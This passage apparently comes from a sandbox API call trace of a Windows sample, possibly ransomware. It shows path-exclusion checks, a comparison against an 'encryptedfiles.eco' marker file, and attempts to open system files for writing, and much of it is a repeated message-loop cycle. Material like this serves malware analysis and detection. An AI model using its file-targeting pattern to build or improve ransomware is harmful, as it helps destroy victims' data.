returned 0x15 [0120.941] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 0x4a [0120.941] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.941] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 0x4a [0120.941] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.941] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 0x4a [0120.942] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.942] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 0x4a [0120.942] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.942] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.942] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.942] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.942] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.942] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.943] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.943] CoFreeUnusedLibraries () [0120.943] GetTickCount () returned 0x1150e92 [0120.943] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.943] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.943] CoFreeUnusedLibraries () [0120.943] GetTickCount () returned 0x1150e92 [0120.943] IsWindowVisible (hWnd=0x30268) returned 0 [0120.943] Sleep (dwMilliseconds=0x0) [0120.944] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpFilePart=0x18e870*="main.xml") returned 0x49 [0120.944] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.944] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.944] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.945] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.945] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.945] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.945] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.945] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.945] GetLastError () returned 0x5 [0120.945] GetLastError () returned 0x5 [0120.945] SetLastError (dwErrCode=0x5) [0120.945] GetLastError () returned 0x5 [0120.945] SetLastError (dwErrCode=0x5) [0120.946] GetLastError () returned 0x5 [0120.946] SetLastError (dwErrCode=0x5) [0120.946] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.946] GetLastError () returned 0x5 [0120.946] GetLastError () returned 0x5 [0120.946] SetLastError (dwErrCode=0x5) [0120.946] GetLastError () returned 0x5 [0120.946] SetLastError (dwErrCode=0x5) [0120.946] GetLastError () returned 0x5 [0120.946] SetLastError (dwErrCode=0x5) [0120.946] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0120.947] GetFileType (hFile=0x334) returned 0x1 [0120.947] IMalloc:Alloc (This=0x767666bc, cb=0x86) returned 0x14e22a0 [0120.950] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.950] CoFreeUnusedLibraries () [0120.950] GetTickCount () returned 0x1150e92 [0120.950] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.950] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.950] CoFreeUnusedLibraries () [0120.950] GetTickCount () returned 0x1150e92 [0120.950] IsWindowVisible (hWnd=0x30268) returned 0 [0120.950] Sleep (dwMilliseconds=0x0) [0120.951] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.951] CoFreeUnusedLibraries () [0120.951] GetTickCount () returned 0x1150e92 [0120.951] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.951] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.951] CoFreeUnusedLibraries () [0120.951] GetTickCount () returned 0x1150e92 [0120.951] IsWindowVisible (hWnd=0x30268) returned 0 [0120.951] Sleep (dwMilliseconds=0x0) [0120.952] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.952] CoFreeUnusedLibraries () [0120.952] GetTickCount () returned 0x1150e92 [0120.952] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.952] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.952] CoFreeUnusedLibraries () [0120.952] GetTickCount () returned 0x1150e92 [0120.952] IsWindowVisible (hWnd=0x30268) returned 0 [0120.952] Sleep (dwMilliseconds=0x0) [0120.952] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.952] CoFreeUnusedLibraries () [0120.952] GetTickCount () returned 0x1150e92 [0120.952] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.952] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.952] CoFreeUnusedLibraries () [0120.952] GetTickCount () returned 0x1150e92 [0120.953] IsWindowVisible (hWnd=0x30268) returned 0 [0120.953] Sleep (dwMilliseconds=0x0) [0120.953] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.953] CoFreeUnusedLibraries () [0120.953] GetTickCount () returned 0x1150e92 [0120.953] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.953] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.953] CoFreeUnusedLibraries () [0120.953] GetTickCount () returned 0x1150e92 [0120.953] IsWindowVisible (hWnd=0x30268) returned 0 [0120.953] Sleep (dwMilliseconds=0x0) [0120.954] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.954] CoFreeUnusedLibraries () [0120.954] GetTickCount () returned 0x1150e92 [0120.954] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.954] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.954] CoFreeUnusedLibraries () [0120.954] GetTickCount () returned 0x1150e92 [0120.954] IsWindowVisible (hWnd=0x30268) returned 0 [0120.954] Sleep (dwMilliseconds=0x0) [0120.954] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.954] CoFreeUnusedLibraries () [0120.954] GetTickCount () returned 0x1150e92 [0120.954] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.955] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.955] CoFreeUnusedLibraries () [0120.955] GetTickCount () returned 0x1150e92 [0120.955] IsWindowVisible (hWnd=0x30268) returned 0 [0120.955] Sleep (dwMilliseconds=0x0) [0120.955] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.955] CoFreeUnusedLibraries () [0120.955] GetTickCount () returned 0x1150e92 [0120.955] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.955] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.955] CoFreeUnusedLibraries () [0120.955] GetTickCount () returned 0x1150ea1 [0120.956] IsWindowVisible (hWnd=0x30268) returned 0 [0120.956] Sleep (dwMilliseconds=0x0) [0120.956] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.956] CoFreeUnusedLibraries () [0120.956] GetTickCount () returned 0x1150ea1 [0120.956] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.956] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.956] CoFreeUnusedLibraries () [0120.956] GetTickCount () returned 0x1150ea1 [0120.956] IsWindowVisible (hWnd=0x30268) returned 0 [0120.956] Sleep (dwMilliseconds=0x0) [0120.956] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.957] CoFreeUnusedLibraries () [0120.957] GetTickCount () returned 0x1150ea1 [0120.957] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.957] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.957] CoFreeUnusedLibraries () [0120.957] GetTickCount () returned 0x1150ea1 [0120.957] IsWindowVisible (hWnd=0x30268) returned 0 [0120.957] Sleep (dwMilliseconds=0x0) [0120.957] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.957] CoFreeUnusedLibraries () [0120.957] GetTickCount () returned 0x1150ea1 [0120.957] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.957] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.957] CoFreeUnusedLibraries () [0120.957] GetTickCount () returned 0x1150ea1 [0120.957] IsWindowVisible (hWnd=0x30268) returned 0 [0120.957] Sleep (dwMilliseconds=0x0) [0120.958] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.958] CoFreeUnusedLibraries () [0120.958] GetTickCount () returned 0x1150ea1 [0120.958] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.958] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.958] CoFreeUnusedLibraries () [0120.958] GetTickCount () returned 0x1150ea1 [0120.958] IsWindowVisible (hWnd=0x30268) returned 0 [0120.958] Sleep (dwMilliseconds=0x0) [0120.958] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.959] CoFreeUnusedLibraries () [0120.959] GetTickCount () returned 0x1150ea1 [0120.959] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.959] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.959] CoFreeUnusedLibraries () [0120.959] GetTickCount () returned 0x1150ea1 [0120.959] IsWindowVisible (hWnd=0x30268) returned 0 [0120.959] Sleep (dwMilliseconds=0x0) [0120.959] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.959] CoFreeUnusedLibraries () [0120.959] GetTickCount () returned 0x1150ea1 [0120.959] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.959] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.959] CoFreeUnusedLibraries () [0120.959] GetTickCount () returned 0x1150ea1 [0120.960] IsWindowVisible (hWnd=0x30268) returned 0 [0120.960] Sleep (dwMilliseconds=0x0) [0120.960] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.960] CoFreeUnusedLibraries () [0120.960] GetTickCount () returned 0x1150ea1 [0120.960] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.960] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.960] CoFreeUnusedLibraries () [0120.960] GetTickCount () returned 0x1150ea1 [0120.960] IsWindowVisible (hWnd=0x30268) returned 0 [0120.960] Sleep (dwMilliseconds=0x0) [0120.960] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.960] CoFreeUnusedLibraries () [0120.960] GetTickCount () returned 0x1150ea1 [0120.961] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.961] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.961] CoFreeUnusedLibraries () [0120.961] GetTickCount () returned 0x1150ea1 [0120.961] IsWindowVisible (hWnd=0x30268) returned 0 [0120.961] Sleep (dwMilliseconds=0x0) [0120.961] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.961] CoFreeUnusedLibraries () [0120.961] GetTickCount () returned 0x1150ea1 [0120.961] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.961] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.961] CoFreeUnusedLibraries () [0120.961] GetTickCount () returned 0x1150ea1 [0120.961] IsWindowVisible (hWnd=0x30268) returned 0 [0120.961] Sleep (dwMilliseconds=0x0) [0120.961] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.961] CoFreeUnusedLibraries () [0120.961] GetTickCount () returned 0x1150ea1 [0120.961] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.961] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.961] CoFreeUnusedLibraries () [0120.961] GetTickCount () returned 0x1150ea1 [0120.962] IsWindowVisible (hWnd=0x30268) returned 0 [0120.962] Sleep (dwMilliseconds=0x0) [0120.962] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.962] CoFreeUnusedLibraries () [0120.962] GetTickCount () returned 0x1150ea1 [0120.962] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.962] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.962] CoFreeUnusedLibraries () [0120.962] GetTickCount () returned 0x1150ea1 [0120.962] IsWindowVisible (hWnd=0x30268) returned 0 [0120.962] Sleep (dwMilliseconds=0x0) [0120.962] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.962] CoFreeUnusedLibraries () [0120.962] GetTickCount () returned 0x1150ea1 [0120.962] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.962] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.962] CoFreeUnusedLibraries () [0120.962] GetTickCount () returned 0x1150ea1 [0120.962] IsWindowVisible (hWnd=0x30268) returned 0 [0120.962] Sleep (dwMilliseconds=0x0) [0120.962] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.963] CoFreeUnusedLibraries () [0120.963] GetTickCount () returned 0x1150ea1 [0120.963] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.963] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.963] CoFreeUnusedLibraries () [0120.963] GetTickCount () returned 0x1150ea1 [0120.963] IsWindowVisible (hWnd=0x30268) returned 0 [0120.963] Sleep (dwMilliseconds=0x0) [0120.963] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.963] CoFreeUnusedLibraries () [0120.963] GetTickCount () returned 0x1150ea1 [0120.963] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.963] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.963] CoFreeUnusedLibraries () [0120.963] GetTickCount () returned 0x1150ea1 [0120.963] IsWindowVisible (hWnd=0x30268) returned 0 [0120.963] Sleep (dwMilliseconds=0x0) [0120.963] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.963] CoFreeUnusedLibraries () [0120.963] GetTickCount () returned 0x1150ea1 [0120.963] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.963] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.963] CoFreeUnusedLibraries () [0120.963] GetTickCount () returned 0x1150ea1 [0120.964] IsWindowVisible (hWnd=0x30268) returned 0 [0120.964] Sleep (dwMilliseconds=0x0) [0120.964] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.964] CoFreeUnusedLibraries () [0120.964] GetTickCount () returned 0x1150ea1 [0120.964] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.964] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.964] CoFreeUnusedLibraries () [0120.964] GetTickCount () returned 0x1150ea1 [0120.964] IsWindowVisible (hWnd=0x30268) returned 0 [0120.964] Sleep (dwMilliseconds=0x0) [0120.964] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.964] CoFreeUnusedLibraries () [0120.964] GetTickCount () returned 0x1150ea1 [0120.964] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.964] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.964] CoFreeUnusedLibraries () [0120.964] GetTickCount () returned 0x1150ea1 [0120.964] IsWindowVisible (hWnd=0x30268) returned 0 [0120.964] Sleep (dwMilliseconds=0x0) [0120.964] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.965] CoFreeUnusedLibraries () [0120.965] GetTickCount () returned 0x1150ea1 [0120.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.965] CoFreeUnusedLibraries () [0120.965] GetTickCount () returned 0x1150ea1 [0120.965] IsWindowVisible (hWnd=0x30268) returned 0 [0120.965] Sleep (dwMilliseconds=0x0) [0120.965] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.965] CoFreeUnusedLibraries () [0120.965] GetTickCount () returned 0x1150ea1 [0120.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.965] CoFreeUnusedLibraries () [0120.965] GetTickCount () returned 0x1150ea1 [0120.965] IsWindowVisible (hWnd=0x30268) returned 0 [0120.965] Sleep (dwMilliseconds=0x0) [0120.965] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.965] CoFreeUnusedLibraries () [0120.965] GetTickCount () returned 0x1150ea1 [0120.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.965] CoFreeUnusedLibraries () [0120.966] GetTickCount () returned 0x1150ea1 [0120.966] IsWindowVisible (hWnd=0x30268) returned 0 [0120.966] Sleep (dwMilliseconds=0x0) [0120.966] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.966] CoFreeUnusedLibraries () [0120.966] GetTickCount () returned 0x1150ea1 [0120.966] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.966] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.966] CoFreeUnusedLibraries () [0120.966] GetTickCount () returned 0x1150ea1 [0120.966] IsWindowVisible (hWnd=0x30268) returned 0 [0120.966] Sleep (dwMilliseconds=0x0) [0120.966] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.966] CoFreeUnusedLibraries () [0120.966] GetTickCount () returned 0x1150ea1 [0120.966] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.966] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.966] CoFreeUnusedLibraries () [0120.966] GetTickCount () returned 0x1150ea1 [0120.966] IsWindowVisible (hWnd=0x30268) returned 0 [0120.966] Sleep (dwMilliseconds=0x0) [0120.967] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.967] CoFreeUnusedLibraries () [0120.967] GetTickCount () returned 0x1150ea1 [0120.967] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 